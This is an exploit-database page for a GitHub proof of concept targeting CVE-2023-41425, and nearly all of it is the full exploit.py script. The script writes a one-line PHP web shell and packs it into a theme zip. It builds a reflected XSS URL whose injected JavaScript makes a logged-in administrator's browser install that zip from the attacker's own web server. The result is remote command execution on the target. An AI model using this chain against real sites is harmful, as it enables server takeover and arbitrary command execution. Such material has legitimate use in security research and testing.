Exploit database

GH-0b474c74aad298b7497e1ea9dd480705

0x0d3ad/cve-2023-41425

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-41425

11 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
0x0d3ad/cve-2023-41425Revision cb0b6b6a6dee

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 2,170 bytes
import os
import http.server
import socketserver
import threading
import zipfile

def get_user_input():
    rhost = input("Enter target URL (RHOST, e.g., http://example.com/loginURL): ").strip()
    lhost = input("Enter your local host IP (LHOST, e.g., 10.10.14.xxx): ").strip()
    lportweb = int(input("Enter your local web server port (LPORTWEB, e.g., 80): ").strip())
    return rhost, lhost, lportweb

RHOST, LHOST, LPORTWEB = get_user_input()

TMPDIR = os.getcwd()

cuk_php_content = "<?=`$_GET[0]`;?>"
with open("cuk.php", "w") as cuk_php_file:
    cuk_php_file.write(cuk_php_content)

with zipfile.ZipFile("cuk.zip", "w") as cuk_zip:
    cuk_zip.write("cuk.php", arcname="cuk/cuk.php")

xss_payload_content = f"""
var xhr = new XMLHttpRequest();
xhr.open("GET", "{RHOST}/?installModule=http://{LHOST}:{LPORTWEB}/cuk.zip&directoryName=whatever&type=themes&token=" + document.querySelectorAll('[name="token"]')[0].value, true);
xhr.send();
"""
with open("xss.js", "w") as xss_js_file:
    xss_js_file.write(xss_payload_content)

xss_url = f'{RHOST}/index.php?page=loginURL?"></form><script+src="http://{LHOST}:{LPORTWEB}/xss.js"></script><form+action="'
print("\n# XSS RCE Payload Generated:")
print(xss_url)

note = f"""
# Note:
After the cuk.zip file is downloaded or accessed by the target, 
try accessing this page to execute commands:

http://{RHOST.split('/')[2]}/themes/cuk/cuk.php?0=id

Replace 'id' with any command you want to execute.
"""
print(note)

def start_http_server():
    os.chdir(TMPDIR)
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", LPORTWEB), handler) as httpd:
        print(f"\n# Starting HTTP server on port {LPORTWEB}...")
        httpd.serve_forever()

http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()

try:
    print("\n# HTTP server is running. Use the XSS URL above.")
    print("# Press Ctrl+C to stop.")
    http_thread.join()
except KeyboardInterrupt:
    print("\n# Stopping HTTP server...")
finally:
    for file in ["cuk.php", "cuk.zip", "xss.js"]:
        if os.path.exists(file):
            os.remove(file)
    print("# Cleanup completed.")